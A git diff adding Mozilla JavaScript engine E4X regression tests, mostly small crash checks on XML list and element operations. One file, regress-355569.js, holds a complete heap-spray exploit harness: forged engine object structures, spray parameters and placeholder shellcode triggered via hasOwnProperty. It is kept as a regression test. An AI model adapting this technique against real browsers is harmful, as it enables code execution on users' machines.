+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-354145-01.js';
+
+var BUGNUMBER = 354145;
+var summary = 'Immutable XML';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xml = <></>
+var N = 10;
+for (var i = 0; i != N; ++i) {
+ xml[i] = <{"a"+i}/>;
+}
+
+function prepare()
+{
+ for (var i = N - 1; i >= 0; --i)
+ delete xml[i];
+ gc();
+ return "test";
+}
+
+xml[N - 1] = { toString: prepare };
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-354145-02.js b/e4x/Regress/regress-354145-02.js
new file mode 100755
index 0000000..babe1e6
--- /dev/null
+++ b/e4x/Regress/regress-354145-02.js
@@ -0,0 +1,67 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-354145-02.js';
+
+var BUGNUMBER = 354145;
+var summary = 'Immutable XML';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+
+var list = <></>
+var N = 10;
+for (var i = 0; i != N; ++i)
+ list[i] = <{"a"+i}/>;
+
+function prepare()
+{
+ for (var i = N - 1; i >= 0; --i)
+ delete list[i];
+ gc();
+ return "test";
+}
+
+list.child({ toString: prepare });
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-354145-03.js b/e4x/Regress/regress-354145-03.js
new file mode 100755
index 0000000..a41a46d
--- /dev/null
+++ b/e4x/Regress/regress-354145-03.js
@@ -0,0 +1,68 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-354145-03.js';
+
+var BUGNUMBER = 354145;
+var summary = 'Immutable XML';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var list = <></>
+var N = 10;
+for (var i = 0; i != N; ++i)
+ list[i] = <{"a"+i}/>;
+
+function prepare()
+{
+ for (var i = N - 1; i >= 0; --i)
+ delete list[i];
+ gc();
+ return "test";
+}
+
+print("Before list.contains");
+list.contains({ toString: prepare });
+print("After list.contains");
+TEST(1, expect, actual);
+print("After TEST");
+
+END();
diff --git a/e4x/Regress/regress-354145-04.js b/e4x/Regress/regress-354145-04.js
new file mode 100755
index 0000000..e09854b
--- /dev/null
+++ b/e4x/Regress/regress-354145-04.js
@@ -0,0 +1,66 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-354145-04.js';
+
+var BUGNUMBER = 354145;
+var summary = 'Immutable XML';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xml = <tag/>;
+var N = 10;
+for (var i = 0; i != N; ++i)
+ xml.appendChild(<{'a'+i}/>);
+
+function prepare()
+{
+ delete xml.*;
+ gc();
+ return "test";
+}
+
+var last = xml.*[N - 1];
+xml.insertChildAfter(last, { toString: prepare });
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-354145-05.js b/e4x/Regress/regress-354145-05.js
new file mode 100755
index 0000000..662c9f1
--- /dev/null
+++ b/e4x/Regress/regress-354145-05.js
@@ -0,0 +1,66 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-354145-05.js';
+
+var BUGNUMBER = 354145;
+var summary = 'Immutable XML';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xml = <tag/>;
+var N = 10;
+for (var i = 0; i != N; ++i)
+ xml.appendChild(<{'a'+i}/>);
+
+function prepare()
+{
+ delete xml.*;
+ gc();
+ return "test";
+}
+
+var last = xml.*[N - 1];
+xml.insertChildBefore(last, { toString: prepare });
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-354145-07.js b/e4x/Regress/regress-354145-07.js
new file mode 100755
index 0000000..a7b9a53
--- /dev/null
+++ b/e4x/Regress/regress-354145-07.js
@@ -0,0 +1,59 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-354145-07.js';
+
+var BUGNUMBER = 354145;
+var summary = 'Immutable XML';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+
+var a = <a><b/></a>
+try {
+ a.insertChildAfter(a.b[0], {toString: function() { throw 1; }});
+} catch (e) { }
+
+for each (var i in a) { }
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-354998.js b/e4x/Regress/regress-354998.js
new file mode 100755
index 0000000..08f152c
--- /dev/null
+++ b/e4x/Regress/regress-354998.js
@@ -0,0 +1,94 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-354998.js';
+
+var BUGNUMBER = 354998;
+var summary = 'prototype should not be enumerated for XML objects.';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function test()
+{
+ var list = <><a/><b/></>;
+ var count = 0;
+ var now = Date.now;
+ var time = now();
+ for (var i in list) {
+ ++count;
+ }
+ time = now() - time;
+ if (count != 2) {
+ if (count < 2)
+ throw "Enumerator has not looped over all properties, count="+count;
+ throw "Enumerator has looped over prototype chain of xml, count="+count;
+ }
+ return time;
+}
+
+try
+{
+ var time1 = test();
+
+ for (var i = 0; i != 1000*1000; ++i)
+ Object.prototype[i] = i;
+
+ var time2 = test();
+
+ // clean up Object prototype so it won't
+ // hang enumerations in options()...
+
+ for (var i = 0; i != 1000*1000; ++i)
+ delete Object.prototype[i];
+
+ if (time1 * 10 + 1 < time2) {
+ throw "Assigns to Object.prototype increased time of XML enumeration from "+
+ time1+"ms to "+time2+"ms";
+ }
+}
+catch(ex)
+{
+ actual = ex = '';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-355474-02.js b/e4x/Regress/regress-355474-02.js
new file mode 100755
index 0000000..4f660ef
--- /dev/null
+++ b/e4x/Regress/regress-355474-02.js
@@ -0,0 +1,58 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-355474-02.js';
+
+var BUGNUMBER = 355474;
+var summary = 'Iterating over XML with WAY_TOO_MUCH_GC';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = '<a>text</a>';
+for each (var i in <><a>text</a></>)
+{
+ printStatus(i.toXMLString());
+ actual = i.toXMLString();
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-355478.js b/e4x/Regress/regress-355478.js
new file mode 100755
index 0000000..79afe63
--- /dev/null
+++ b/e4x/Regress/regress-355478.js
@@ -0,0 +1,62 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-355478.js';
+
+var BUGNUMBER = 355478;
+var summary = 'Do not crash with hasOwnProperty';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = 'TypeError: XML.prototype.hasOwnProperty called on incompatible Object';
+actual = '';
+
+try
+{
+ new <x/>.hasOwnProperty("y");
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+TEST(1, expect, actual);
+END();
diff --git a/e4x/Regress/regress-355569.js b/e4x/Regress/regress-355569.js
new file mode 100644
index 0000000..a3a5f80
--- /dev/null
+++ b/e4x/Regress/regress-355569.js
@@ -0,0 +1,163 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): shutdown
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+gTestfile = 'regress-355569.js';
+
+var bug = 355569;
+var actual = '';
+var expect = '';
+
+START('XML.prototype.hasOwnProperty foo');
+printBugNumber (bug);
+printStatus (summary);
+
+var targetAddress = 0x12030010;
+var sprayParams = {
+ chunkSize: 16 * 1024 * 1024,
+ chunkCount: 16,
+ chunkMarker: 0xdeadface,
+ chunkAlign: 0x1000,
+ reservedSize: 1024
+};
+
+function makeExploitCode() {
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+}
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function packData(template, A) {
+ var n = 0, result = "", vl;
+ for(var i = 0; i < template.length; i++) {
+ var ch = template.charAt(i);
+ if(ch == "s" || ch == "S") {
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
+ } else if(ch == "l" || ch == "L") { // XXX endian
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
+ } else if(ch == "=") {
+ result += String(A[n++]);
+ }
+ }
+ return result;
+}
+function buildStructure(worker, address) {
+ var offs = {}, result = "", context = {
+ append: function(k, v) { offs[k] = result.length * 2; result += v; },
+ address: function(k) { return address + ((k && offs[k]) || 0); }
+ }; worker(context); result = ""; worker(context); return result;
+}
+function repeatToLength(s, L) {
+ if(L <= s.length) { return s.substring(0, L); }
+ while(s.length <= L/2) { s += s; }
+ return s + s.substring(0, L - s.length);
+}
+function sprayData(data, params, rooter) {
+ var marker = packData("L", [ params.chunkMarker ]);
+ data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
+ data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
+ for(var i = 0; i < params.chunkCount; i++) {
+ rooter[i] = marker + data + i;
+ }
+}
+
+function T_JSObject(map, slots)
+{ return packData("LL", arguments); }
+function T_JSObjectMap(nrefs, ops, nslots, freeslot)
+{ return packData("LLLL", arguments); }
+function T_JSObjectOps(
+ newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
+ getProperty, setProperty, getAttributes, setAttributes,
+ deleteProperty, defaultValue, enumerate, checkAccess,
+ thisObject, dropProperty, call, construct,
+ xdrObject, hasInstance, setProto, setParent,
+ mark, clear, getRequiredSlot, setRequiredSlot
+) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
+
+function T_JSXML_LIST(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ xml_target, xml_targetprop
+) { return packData("LLLLSS LLLL LL", arguments); }
+function T_JSXML_ELEMENT(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ nses_length, nses_capacity, nses_vector, nses_cursors,
+ atrs_length, atrs_capacity, atrs_vector, atrs_cursors
+) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function makeExploitData(address) {
+ return buildStructure(function(ctx) {
+ ctx.append("xml-list",
+ T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
+ ctx.append("xml-kids-vector",
+ packData("L", [ ctx.address("xml-element") ]));
+ ctx.append("xml-element",
+ T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
+ ctx.append("object",
+ T_JSObject(ctx.address("object-map"), 0));
+ ctx.append("object-map",
+ T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
+ ctx.append("object-ops",
+ T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
+ ctx.append("exploit-code",
+ makeExploitCode(ctx));
+ }, address);
+}
+
+function exploit() {
+ sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
+ var numobj = new Number(targetAddress >> 1);
+ XML.prototype.function::hasOwnProperty.call(numobj);
+ printStatus("probably not exploitable");
+}
+
+try
+{
+ exploit();
+}
+catch(ex)
+{
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-356238-01.js b/e4x/Regress/regress-356238-01.js
new file mode 100755
index 0000000..22b36e0
--- /dev/null
+++ b/e4x/Regress/regress-356238-01.js
@@ -0,0 +1,57 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-356238-01.js';
+
+var BUGNUMBER = 356238;
+var summary = 'bug 356238';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ <xml/>.replace(1);
+}
+catch(ex)
+{
+}
+TEST(1, expect, actual);
+END();
diff --git a/e4x/Regress/regress-356238-02.js b/e4x/Regress/regress-356238-02.js
new file mode 100755
index 0000000..4d1db33
--- /dev/null
+++ b/e4x/Regress/regress-356238-02.js
@@ -0,0 +1,63 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-356238-02.js';
+
+var BUGNUMBER = 356238;
+var summary = 'bug 356238';
+var actual = 'No Duplicate';
+var expect = 'No Duplicate';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var xml = <xml><child><a/><b/></child></xml>;
+var child = xml.child[0];
+
+try {
+ child.insertChildAfter(null, xml.child);
+ actual = "insertChildAfter succeeded when it should throw an exception";
+}
